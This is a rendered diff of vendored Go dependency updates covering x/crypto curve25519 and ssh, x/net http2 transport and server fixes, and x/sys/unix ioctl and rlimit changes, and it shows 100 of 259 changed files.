||||
var base, zero [32]byte
|
||||
copy(base[:], point)
|
||||
ScalarMult(dst, &in, &base)
|
||||
if subtle.ConstantTimeCompare(dst[:], zero[:]) == 1 {
|
||||
return nil, errors.New("bad input point: low order point")
|
||||
}
|
||||
}
|
||||
return dst[:], nil
|
||||
}
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !go1.20
|
||||
|
||||
package curve25519
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"errors"
|
||||
"strconv"
|
||||
|
||||
"golang.org/x/crypto/curve25519/internal/field"
|
||||
)
|
||||
|
||||
func scalarMult(dst, scalar, point *[32]byte) {
|
||||
var e [32]byte
|
||||
|
||||
copy(e[:], scalar[:])
|
||||
e[0] &= 248
|
||||
e[31] &= 127
|
||||
e[31] |= 64
|
||||
|
||||
var x1, x2, z2, x3, z3, tmp0, tmp1 field.Element
|
||||
x1.SetBytes(point[:])
|
||||
x2.One()
|
||||
x3.Set(&x1)
|
||||
z3.One()
|
||||
|
||||
swap := 0
|
||||
for pos := 254; pos >= 0; pos-- {
|
||||
b := e[pos/8] >> uint(pos&7)
|
||||
b &= 1
|
||||
swap ^= int(b)
|
||||
x2.Swap(&x3, swap)
|
||||
z2.Swap(&z3, swap)
|
||||
swap = int(b)
|
||||
|
||||
tmp0.Subtract(&x3, &z3)
|
||||
tmp1.Subtract(&x2, &z2)
|
||||
x2.Add(&x2, &z2)
|
||||
z2.Add(&x3, &z3)
|
||||
z3.Multiply(&tmp0, &x2)
|
||||
z2.Multiply(&z2, &tmp1)
|
||||
tmp0.Square(&tmp1)
|
||||
tmp1.Square(&x2)
|
||||
x3.Add(&z3, &z2)
|
||||
z2.Subtract(&z3, &z2)
|
||||
x2.Multiply(&tmp1, &tmp0)
|
||||
tmp1.Subtract(&tmp1, &tmp0)
|
||||
z2.Square(&z2)
|
||||
|
||||
z3.Mult32(&tmp1, 121666)
|
||||
x3.Square(&x3)
|
||||
tmp0.Add(&tmp0, &z3)
|
||||
z3.Multiply(&x1, &z2)
|
||||
z2.Multiply(&tmp1, &tmp0)
|
||||
}
|
||||
|
||||
x2.Swap(&x3, swap)
|
||||
z2.Swap(&z3, swap)
|
||||
|
||||
z2.Invert(&z2)
|
||||
x2.Multiply(&x2, &z2)
|
||||
copy(dst[:], x2.Bytes())
|
||||
}
|
||||
|
||||
func scalarBaseMult(dst, scalar *[32]byte) {
|
||||
checkBasepoint()
|
||||
scalarMult(dst, scalar, &basePoint)
|
||||
}
|
||||
|
||||
func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) {
|
||||
var in [32]byte
|
||||
if l := len(scalar); l != 32 {
|
||||
return nil, errors.New("bad scalar length: " + strconv.Itoa(l) + ", expected 32")
|
||||
}
|
||||
if l := len(point); l != 32 {
|
||||
return nil, errors.New("bad point length: " + strconv.Itoa(l) + ", expected 32")
|
||||
}
|
||||
copy(in[:], scalar)
|
||||
if &point[0] == &Basepoint[0] {
|
||||
scalarBaseMult(dst, &in)
|
||||
} else {
|
||||
var base, zero [32]byte
|
||||
copy(base[:], point)
|
||||
scalarMult(dst, &in, &base)
|
||||
if subtle.ConstantTimeCompare(dst[:], zero[:]) == 1 {
|
||||
return nil, errors.New("bad input point: low order point")
|
||||
}
|
||||
}
|
||||
return dst[:], nil
|
||||
}
|
||||
|
||||
func checkBasepoint() {
|
||||
if subtle.ConstantTimeCompare(Basepoint, []byte{
|
||||
0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}) != 1 {
|
||||
panic("curve25519: global Basepoint value was modified")
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Copyright 2022 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build go1.20
|
||||
|
||||
package curve25519
|
||||
|
||||
import "crypto/ecdh"
|
||||
|
||||
func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) {
|
||||
curve := ecdh.X25519()
|
||||
pub, err := curve.NewPublicKey(point)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
priv, err := curve.NewPrivateKey(scalar)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out, err := priv.ECDH(pub)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
copy(dst[:], out)
|
||||
return dst[:], nil
|
||||
}
|
||||
|
||||
func scalarMult(dst, scalar, point *[32]byte) {
|
||||
if _, err := x25519(dst, scalar[:], point[:]); err != nil {
|
||||
// The only error condition for x25519 when the inputs are 32 bytes long
|
||||
// is if the output would have been the all-zero value.
|
||||
for i := range dst {
|
||||
dst[i] = 0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func scalarBaseMult(dst, scalar *[32]byte) {
|
||||
curve := ecdh.X25519()
|
||||
priv, err := curve.NewPrivateKey(scalar[:])
|
||||
if err != nil {
|
||||
panic("curve25519: internal error: scalarBaseMult was not 32 bytes")
|
||||
}
|
||||
copy(dst[:], priv.PublicKey().Bytes())
|
||||
}
|
||||
+1
-1
@@ -60,7 +60,7 @@ func (c *Compressed) parse(r io.Reader) error {
|
||||
return err
|
||||
}
|
||||
|
||||
// compressedWriterCloser represents the serialized compression stream
|
||||
// compressedWriteCloser represents the serialized compression stream
|
||||
// header and the compressor. Its Close() method ensures that both the
|
||||
// compressor and serialized stream header are closed. Its Write()
|
||||
// method writes to the compressor.
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ import (
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
// Server wraps an Agent and uses it to implement the agent side of
|
||||
// server wraps an Agent and uses it to implement the agent side of
|
||||
// the SSH-agent, wire protocol.
|
||||
type server struct {
|
||||
agent Agent
|
||||
|
||||
+1
-1
@@ -97,7 +97,7 @@ func (c *connection) Close() error {
|
||||
return c.sshConn.conn.Close()
|
||||
}
|
||||
|
||||
// sshconn provides net.Conn metadata, but disallows direct reads and
|
||||
// sshConn provides net.Conn metadata, but disallows direct reads and
|
||||
// writes.
|
||||
type sshConn struct {
|
||||
conn net.Conn
|
||||
|
||||
+3
-3
@@ -1087,9 +1087,9 @@ func (*PassphraseMissingError) Error() string {
|
||||
return "ssh: this private key is passphrase protected"
|
||||
}
|
||||
|
||||
// ParseRawPrivateKey returns a private key from a PEM encoded private key. It
|
||||
// supports RSA (PKCS#1), PKCS#8, DSA (OpenSSL), and ECDSA private keys. If the
|
||||
// private key is encrypted, it will return a PassphraseMissingError.
|
||||
// ParseRawPrivateKey returns a private key from a PEM encoded private key. It supports
|
||||
// RSA, DSA, ECDSA, and Ed25519 private keys in PKCS#1, PKCS#8, OpenSSL, and OpenSSH
|
||||
// formats. If the private key is encrypted, it will return a PassphraseMissingError.
|
||||
func ParseRawPrivateKey(pemBytes []byte) (interface{}, error) {
|
||||
block, _ := pem.Decode(pemBytes)
|
||||
if block == nil {
|
||||
|
||||
+1
-5
@@ -88,13 +88,9 @@ func (p *pipe) Write(d []byte) (n int, err error) {
|
||||
p.c.L = &p.mu
|
||||
}
|
||||
defer p.c.Signal()
|
||||
if p.err != nil {
|
||||
if p.err != nil || p.breakErr != nil {
|
||||
return 0, errClosedPipeWrite
|
||||
}
|
||||
if p.breakErr != nil {
|
||||
p.unread += len(d)
|
||||
return len(d), nil // discard when there is no reader
|
||||
}
|
||||
return p.b.Write(d)
|
||||
}
|
||||
|
||||
|
||||
+5
-2
@@ -1822,15 +1822,18 @@ func (sc *serverConn) processData(f *DataFrame) error {
|
||||
}
|
||||
|
||||
if len(data) > 0 {
|
||||
st.bodyBytes += int64(len(data))
|
||||
wrote, err := st.body.Write(data)
|
||||
if err != nil {
|
||||
// The handler has closed the request body.
|
||||
// Return the connection-level flow control for the discarded data,
|
||||
// but not the stream-level flow control.
|
||||
sc.sendWindowUpdate(nil, int(f.Length)-wrote)
|
||||
return sc.countError("body_write_err", streamError(id, ErrCodeStreamClosed))
|
||||
return nil
|
||||
}
|
||||
if wrote != len(data) {
|
||||
panic("internal error: bad Writer")
|
||||
}
|
||||
st.bodyBytes += int64(len(data))
|
||||
}
|
||||
|
||||
// Return any padded flow control now, since we won't
|
||||
|
||||
+30
-11
@@ -560,10 +560,11 @@ func (t *Transport) RoundTripOpt(req *http.Request, opt RoundTripOpt) (*http.Res
|
||||
traceGotConn(req, cc, reused)
|
||||
res, err := cc.RoundTrip(req)
|
||||
if err != nil && retry <= 6 {
|
||||
roundTripErr := err
|
||||
if req, err = shouldRetryRequest(req, err); err == nil {
|
||||
// After the first retry, do exponential backoff with 10% jitter.
|
||||
if retry == 0 {
|
||||
t.vlogf("RoundTrip retrying after failure: %v", err)
|
||||
t.vlogf("RoundTrip retrying after failure: %v", roundTripErr)
|
||||
continue
|
||||
}
|
||||
backoff := float64(uint(1) << (uint(retry) - 1))
|
||||
@@ -572,7 +573,7 @@ func (t *Transport) RoundTripOpt(req *http.Request, opt RoundTripOpt) (*http.Res
|
||||
timer := backoffNewTimer(d)
|
||||
select {
|
||||
case <-timer.C:
|
||||
t.vlogf("RoundTrip retrying after failure: %v", err)
|
||||
t.vlogf("RoundTrip retrying after failure: %v", roundTripErr)
|
||||
continue
|
||||
case <-req.Context().Done():
|
||||
timer.Stop()
|
||||
@@ -1265,6 +1266,27 @@ func (cc *ClientConn) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
cancelRequest := func(cs *clientStream, err error) error {
|
||||
cs.cc.mu.Lock()
|
||||
defer cs.cc.mu.Unlock()
|
||||
cs.abortStreamLocked(err)
|
||||
if cs.ID != 0 {
|
||||
// This request may have failed because of a problem with the connection,
|
||||
// or for some unrelated reason. (For example, the user might have canceled
|
||||
// the request without waiting for a response.) Mark the connection as
|
||||
// not reusable, since trying to reuse a dead connection is worse than
|
||||
// unnecessarily creating a new one.
|
||||
//
|
||||
// If cs.ID is 0, then the request was never allocated a stream ID and
|
||||
// whatever went wrong was unrelated to the connection. We might have
|
||||
// timed out waiting for a stream slot when StrictMaxConcurrentStreams
|
||||
// is set, for example, in which case retrying on a different connection
|
||||
// will not help.
|
||||
cs.cc.doNotReuse = true
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-cs.respHeaderRecv:
|
||||
@@ -1279,15 +1301,12 @@ func (cc *ClientConn) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return handleResponseHeaders()
|
||||
default:
|
||||
waitDone()
|
||||
return nil, cs.abortErr
|
||||
return nil, cancelRequest(cs, cs.abortErr)
|
||||
}
|
||||
case <-ctx.Done():
|
||||
err := ctx.Err()
|
||||
cs.abortStream(err)
|
||||
return nil, err
|
||||
return nil, cancelRequest(cs, ctx.Err())
|
||||
case <-cs.reqCancel:
|
||||
cs.abortStream(errRequestCanceled)
|
||||
return nil, errRequestCanceled
|
||||
return nil, cancelRequest(cs, errRequestCanceled)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2555,6 +2574,9 @@ func (b transportResponseBody) Close() error {
|
||||
cs := b.cs
|
||||
cc := cs.cc
|
||||
|
||||
cs.bufPipe.BreakWithError(errClosedResponseBody)
|
||||
cs.abortStream(errClosedResponseBody)
|
||||
|
||||
unread := cs.bufPipe.Len()
|
||||
if unread > 0 {
|
||||
cc.mu.Lock()
|
||||
@@ -2573,9 +2595,6 @@ func (b transportResponseBody) Close() error {
|
||||
cc.wmu.Unlock()
|
||||
}
|
||||
|
||||
cs.bufPipe.BreakWithError(errClosedResponseBody)
|
||||
cs.abortStream(errClosedResponseBody)
|
||||
|
||||
select {
|
||||
case <-cs.donec:
|
||||
case <-cs.ctx.Done():
|
||||
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
// Copyright 2018 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build aix || solaris
|
||||
// +build aix solaris
|
||||
|
||||
package unix
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// ioctl itself should not be exposed directly, but additional get/set
|
||||
// functions for specific types are permissible.
|
||||
|
||||
// IoctlSetInt performs an ioctl operation which sets an integer value
|
||||
// on fd, using the specified request number.
|
||||
func IoctlSetInt(fd int, req int, value int) error {
|
||||
return ioctl(fd, req, uintptr(value))
|
||||
}
|
||||
|
||||
// IoctlSetPointerInt performs an ioctl operation which sets an
|
||||
// integer value on fd, using the specified request number. The ioctl
|
||||
// argument is called with a pointer to the integer value, rather than
|
||||
// passing the integer value directly.
|
||||
func IoctlSetPointerInt(fd int, req int, value int) error {
|
||||
v := int32(value)
|
||||
return ioctlPtr(fd, req, unsafe.Pointer(&v))
|
||||
}
|
||||
|
||||
// IoctlSetWinsize performs an ioctl on fd with a *Winsize argument.
|
||||
//
|
||||
// To change fd's window size, the req argument should be TIOCSWINSZ.
|
||||
func IoctlSetWinsize(fd int, req int, value *Winsize) error {
|
||||
// TODO: if we get the chance, remove the req parameter and
|
||||
// hardcode TIOCSWINSZ.
|
||||
return ioctlPtr(fd, req, unsafe.Pointer(value))
|
||||
}
|
||||
|
||||
// IoctlSetTermios performs an ioctl on fd with a *Termios.
|
||||
//
|
||||
// The req value will usually be TCSETA or TIOCSETA.
|
||||
func IoctlSetTermios(fd int, req int, value *Termios) error {
|
||||
// TODO: if we get the chance, remove the req parameter.
|
||||
return ioctlPtr(fd, req, unsafe.Pointer(value))
|
||||
}
|
||||
|
||||
// IoctlGetInt performs an ioctl operation which gets an integer value
|
||||
// from fd, using the specified request number.
|
||||
//
|
||||
// A few ioctl requests use the return value as an output parameter;
|
||||
// for those, IoctlRetInt should be used instead of this function.
|
||||
func IoctlGetInt(fd int, req int) (int, error) {
|
||||
var value int
|
||||
err := ioctlPtr(fd, req, unsafe.Pointer(&value))
|
||||
return value, err
|
||||
}
|
||||
|
||||
func IoctlGetWinsize(fd int, req int) (*Winsize, error) {
|
||||
var value Winsize
|
||||
err := ioctlPtr(fd, req, unsafe.Pointer(&value))
|
||||
return &value, err
|
||||
}
|
||||
|
||||
func IoctlGetTermios(fd int, req int) (*Termios, error) {
|
||||
var value Termios
|
||||
err := ioctlPtr(fd, req, unsafe.Pointer(&value))
|
||||
return &value, err
|
||||
}
|
||||
Generated
Vendored
+2
-2
@@ -2,8 +2,8 @@
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build aix || darwin || dragonfly || freebsd || hurd || linux || netbsd || openbsd || solaris
|
||||
// +build aix darwin dragonfly freebsd hurd linux netbsd openbsd solaris
|
||||
//go:build darwin || dragonfly || freebsd || hurd || linux || netbsd || openbsd
|
||||
// +build darwin dragonfly freebsd hurd linux netbsd openbsd
|
||||
|
||||
package unix
|
||||
|
||||
+6
-6
@@ -17,14 +17,14 @@ import (
|
||||
|
||||
// IoctlSetInt performs an ioctl operation which sets an integer value
|
||||
// on fd, using the specified request number.
|
||||
func IoctlSetInt(fd int, req uint, value int) error {
|
||||
func IoctlSetInt(fd int, req int, value int) error {
|
||||
return ioctl(fd, req, uintptr(value))
|
||||
}
|
||||
|
||||
// IoctlSetWinsize performs an ioctl on fd with a *Winsize argument.
|
||||
//
|
||||
// To change fd's window size, the req argument should be TIOCSWINSZ.
|
||||
func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
|
||||
func IoctlSetWinsize(fd int, req int, value *Winsize) error {
|
||||
// TODO: if we get the chance, remove the req parameter and
|
||||
// hardcode TIOCSWINSZ.
|
||||
return ioctlPtr(fd, req, unsafe.Pointer(value))
|
||||
@@ -33,7 +33,7 @@ func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
|
||||
// IoctlSetTermios performs an ioctl on fd with a *Termios.
|
||||
//
|
||||
// The req value is expected to be TCSETS, TCSETSW, or TCSETSF
|
||||
func IoctlSetTermios(fd int, req uint, value *Termios) error {
|
||||
func IoctlSetTermios(fd int, req int, value *Termios) error {
|
||||
if (req != TCSETS) && (req != TCSETSW) && (req != TCSETSF) {
|
||||
return ENOSYS
|
||||
}
|
||||
@@ -47,13 +47,13 @@ func IoctlSetTermios(fd int, req uint, value *Termios) error {
|
||||
//
|
||||
// A few ioctl requests use the return value as an output parameter;
|
||||
// for those, IoctlRetInt should be used instead of this function.
|
||||
func IoctlGetInt(fd int, req uint) (int, error) {
|
||||
func IoctlGetInt(fd int, req int) (int, error) {
|
||||
var value int
|
||||
err := ioctlPtr(fd, req, unsafe.Pointer(&value))
|
||||
return value, err
|
||||
}
|
||||
|
||||
func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
|
||||
func IoctlGetWinsize(fd int, req int) (*Winsize, error) {
|
||||
var value Winsize
|
||||
err := ioctlPtr(fd, req, unsafe.Pointer(&value))
|
||||
return &value, err
|
||||
@@ -62,7 +62,7 @@ func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
|
||||
// IoctlGetTermios performs an ioctl on fd with a *Termios.
|
||||
//
|
||||
// The req value is expected to be TCGETS
|
||||
func IoctlGetTermios(fd int, req uint) (*Termios, error) {
|
||||
func IoctlGetTermios(fd int, req int) (*Termios, error) {
|
||||
var value Termios
|
||||
if req != TCGETS {
|
||||
return &value, ENOSYS
|
||||
|
||||
+4
-1
@@ -66,6 +66,7 @@ includes_Darwin='
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/sockio.h>
|
||||
#include <sys/sys_domain.h>
|
||||
@@ -203,6 +204,7 @@ struct ltchars {
|
||||
#include <sys/timerfd.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <linux/audit.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/can.h>
|
||||
@@ -517,10 +519,11 @@ ccflags="$@"
|
||||
$2 ~ /^LOCK_(SH|EX|NB|UN)$/ ||
|
||||
$2 ~ /^LO_(KEY|NAME)_SIZE$/ ||
|
||||
$2 ~ /^LOOP_(CLR|CTL|GET|SET)_/ ||
|
||||
$2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT)_/ ||
|
||||
$2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT|UDP)_/ ||
|
||||
$2 ~ /^NFC_(GENL|PROTO|COMM|RF|SE|DIRECTION|LLCP|SOCKPROTO)_/ ||
|
||||
$2 ~ /^NFC_.*_(MAX)?SIZE$/ ||
|
||||
$2 ~ /^RAW_PAYLOAD_/ ||
|
||||
$2 ~ /^[US]F_/ ||
|
||||
$2 ~ /^TP_STATUS_/ ||
|
||||
$2 ~ /^FALLOC_/ ||
|
||||
$2 ~ /^ICMPV?6?_(FILTER|SEC)/ ||
|
||||
|
||||
+2
-2
@@ -408,8 +408,8 @@ func (w WaitStatus) CoreDump() bool { return w&0x80 == 0x80 }
|
||||
|
||||
func (w WaitStatus) TrapCause() int { return -1 }
|
||||
|
||||
//sys ioctl(fd int, req uint, arg uintptr) (err error)
|
||||
//sys ioctlPtr(fd int, req uint, arg unsafe.Pointer) (err error) = ioctl
|
||||
//sys ioctl(fd int, req int, arg uintptr) (err error)
|
||||
//sys ioctlPtr(fd int, req int, arg unsafe.Pointer) (err error) = ioctl
|
||||
|
||||
// fcntl must never be called with cmd=F_DUP2FD because it doesn't work on AIX
|
||||
// There is no way to create a custom fcntl and to keep //sys fcntl easily,
|
||||
|
||||
-1
@@ -8,7 +8,6 @@
|
||||
package unix
|
||||
|
||||
//sysnb Getrlimit(resource int, rlim *Rlimit) (err error) = getrlimit64
|
||||
//sysnb Setrlimit(resource int, rlim *Rlimit) (err error) = setrlimit64
|
||||
//sys Seek(fd int, offset int64, whence int) (off int64, err error) = lseek64
|
||||
|
||||
//sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
|
||||
|
||||
-1
@@ -8,7 +8,6 @@
|
||||
package unix
|
||||
|
||||
//sysnb Getrlimit(resource int, rlim *Rlimit) (err error)
|
||||
//sysnb Setrlimit(resource int, rlim *Rlimit) (err error)
|
||||
//sys Seek(fd int, offset int64, whence int) (off int64, err error) = lseek
|
||||
|
||||
//sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) = mmap64
|
||||
|
||||
+1
-2
@@ -613,6 +613,7 @@ func SysctlKinfoProcSlice(name string, args ...int) ([]KinfoProc, error) {
|
||||
//sys Rmdir(path string) (err error)
|
||||
//sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
|
||||
//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
|
||||
//sys Setattrlist(path string, attrlist *Attrlist, attrBuf []byte, options int) (err error)
|
||||
//sys Setegid(egid int) (err error)
|
||||
//sysnb Seteuid(euid int) (err error)
|
||||
//sysnb Setgid(gid int) (err error)
|
||||
@@ -622,7 +623,6 @@ func SysctlKinfoProcSlice(name string, args ...int) ([]KinfoProc, error) {
|
||||
//sys Setprivexec(flag int) (err error)
|
||||
//sysnb Setregid(rgid int, egid int) (err error)
|
||||
//sysnb Setreuid(ruid int, euid int) (err error)
|
||||
//sysnb Setrlimit(which int, lim *Rlimit) (err error)
|
||||
//sysnb Setsid() (pid int, err error)
|
||||
//sysnb Settimeofday(tp *Timeval) (err error)
|
||||
//sysnb Setuid(uid int) (err error)
|
||||
@@ -676,7 +676,6 @@ func SysctlKinfoProcSlice(name string, args ...int) ([]KinfoProc, error) {
|
||||
// Kqueue_from_portset_np
|
||||
// Kqueue_portset
|
||||
// Getattrlist
|
||||
// Setattrlist
|
||||
// Getdirentriesattr
|
||||
// Searchfs
|
||||
// Delete
|
||||
|
||||
-1
@@ -326,7 +326,6 @@ func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
|
||||
//sysnb Setreuid(ruid int, euid int) (err error)
|
||||
//sysnb Setresgid(rgid int, egid int, sgid int) (err error)
|
||||
//sysnb Setresuid(ruid int, euid int, suid int) (err error)
|
||||
//sysnb Setrlimit(which int, lim *Rlimit) (err error)
|
||||
//sysnb Setsid() (pid int, err error)
|
||||
//sysnb Settimeofday(tp *Timeval) (err error)
|
||||
//sysnb Setuid(uid int) (err error)
|
||||
|
||||
-1
@@ -433,7 +433,6 @@ func Dup3(oldfd, newfd, flags int) error {
|
||||
//sysnb Setreuid(ruid int, euid int) (err error)
|
||||
//sysnb Setresgid(rgid int, egid int, sgid int) (err error)
|
||||
//sysnb Setresuid(ruid int, euid int, suid int) (err error)
|
||||
//sysnb Setrlimit(which int, lim *Rlimit) (err error)
|
||||
//sysnb Setsid() (pid int, err error)
|
||||
//sysnb Settimeofday(tp *Timeval) (err error)
|
||||
//sysnb Setuid(uid int) (err error)
|
||||
|
||||
+9
-1
@@ -1873,7 +1873,6 @@ func Getpgrp() (pid int) {
|
||||
//sys OpenTree(dfd int, fileName string, flags uint) (r int, err error)
|
||||
//sys PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error)
|
||||
//sys PivotRoot(newroot string, putold string) (err error) = SYS_PIVOT_ROOT
|
||||
//sysnb Prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) = SYS_PRLIMIT64
|
||||
//sys Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error)
|
||||
//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) = SYS_PSELECT6
|
||||
//sys read(fd int, p []byte) (n int, err error)
|
||||
@@ -1887,6 +1886,15 @@ func Getpgrp() (pid int) {
|
||||
//sysnb Settimeofday(tv *Timeval) (err error)
|
||||
//sys Setns(fd int, nstype int) (err error)
|
||||
|
||||
//go:linkname syscall_prlimit syscall.prlimit
|
||||
func syscall_prlimit(pid, resource int, newlimit, old *syscall.Rlimit) error
|
||||
|
||||
func Prlimit(pid, resource int, newlimit, old *Rlimit) error {
|
||||
// Just call the syscall version, because as of Go 1.21
|
||||
// it will affect starting a new process.
|
||||
return syscall_prlimit(pid, resource, (*syscall.Rlimit)(newlimit), (*syscall.Rlimit)(old))
|
||||
}
|
||||
|
||||
// PrctlRetInt performs a prctl operation specified by option and further
|
||||
// optional arguments arg2 through arg5 depending on option. It returns a
|
||||
// non-negative integer that is returned by the prctl syscall.
|
||||
|
||||
-27
@@ -97,33 +97,6 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
//sysnb setrlimit(resource int, rlim *rlimit32) (err error) = SYS_SETRLIMIT
|
||||
|
||||
func Setrlimit(resource int, rlim *Rlimit) (err error) {
|
||||
err = Prlimit(0, resource, rlim, nil)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
|
||||
rl := rlimit32{}
|
||||
if rlim.Cur == rlimInf64 {
|
||||
rl.Cur = rlimInf32
|
||||
} else if rlim.Cur < uint64(rlimInf32) {
|
||||
rl.Cur = uint32(rlim.Cur)
|
||||
} else {
|
||||
return EINVAL
|
||||
}
|
||||
if rlim.Max == rlimInf64 {
|
||||
rl.Max = rlimInf32
|
||||
} else if rlim.Max < uint64(rlimInf32) {
|
||||
rl.Max = uint32(rlim.Max)
|
||||
} else {
|
||||
return EINVAL
|
||||
}
|
||||
|
||||
return setrlimit(resource, &rl)
|
||||
}
|
||||
|
||||
func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
|
||||
newoffset, errno := seek(fd, offset, whence)
|
||||
if errno != 0 {
|
||||
|
||||
-1
@@ -46,7 +46,6 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err
|
||||
//sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
|
||||
//sys setfsgid(gid int) (prev int, err error)
|
||||
//sys setfsuid(uid int) (prev int, err error)
|
||||
//sysnb Setrlimit(resource int, rlim *Rlimit) (err error)
|
||||
//sys Shutdown(fd int, how int) (err error)
|
||||
//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
|
||||
|
||||
|
||||
-27
@@ -171,33 +171,6 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
//sysnb setrlimit(resource int, rlim *rlimit32) (err error) = SYS_SETRLIMIT
|
||||
|
||||
func Setrlimit(resource int, rlim *Rlimit) (err error) {
|
||||
err = Prlimit(0, resource, rlim, nil)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
|
||||
rl := rlimit32{}
|
||||
if rlim.Cur == rlimInf64 {
|
||||
rl.Cur = rlimInf32
|
||||
} else if rlim.Cur < uint64(rlimInf32) {
|
||||
rl.Cur = uint32(rlim.Cur)
|
||||
} else {
|
||||
return EINVAL
|
||||
}
|
||||
if rlim.Max == rlimInf64 {
|
||||
rl.Max = rlimInf32
|
||||
} else if rlim.Max < uint64(rlimInf32) {
|
||||
rl.Max = uint32(rlim.Max)
|
||||
} else {
|
||||
return EINVAL
|
||||
}
|
||||
|
||||
return setrlimit(resource, &rl)
|
||||
}
|
||||
|
||||
func (r *PtraceRegs) PC() uint64 { return uint64(r.Uregs[15]) }
|
||||
|
||||
func (r *PtraceRegs) SetPC(pc uint64) { r.Uregs[15] = uint32(pc) }
|
||||
|
||||
-10
@@ -39,7 +39,6 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err
|
||||
//sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
|
||||
//sys setfsgid(gid int) (prev int, err error)
|
||||
//sys setfsuid(uid int) (prev int, err error)
|
||||
//sysnb setrlimit(resource int, rlim *Rlimit) (err error)
|
||||
//sys Shutdown(fd int, how int) (err error)
|
||||
//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
|
||||
|
||||
@@ -143,15 +142,6 @@ func Getrlimit(resource int, rlim *Rlimit) error {
|
||||
return getrlimit(resource, rlim)
|
||||
}
|
||||
|
||||
// Setrlimit prefers the prlimit64 system call. See issue 38604.
|
||||
func Setrlimit(resource int, rlim *Rlimit) error {
|
||||
err := Prlimit(0, resource, rlim, nil)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
return setrlimit(resource, rlim)
|
||||
}
|
||||
|
||||
func (r *PtraceRegs) PC() uint64 { return r.Pc }
|
||||
|
||||
func (r *PtraceRegs) SetPC(pc uint64) { r.Pc = pc }
|
||||
|
||||
Loaded 100 of 259 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user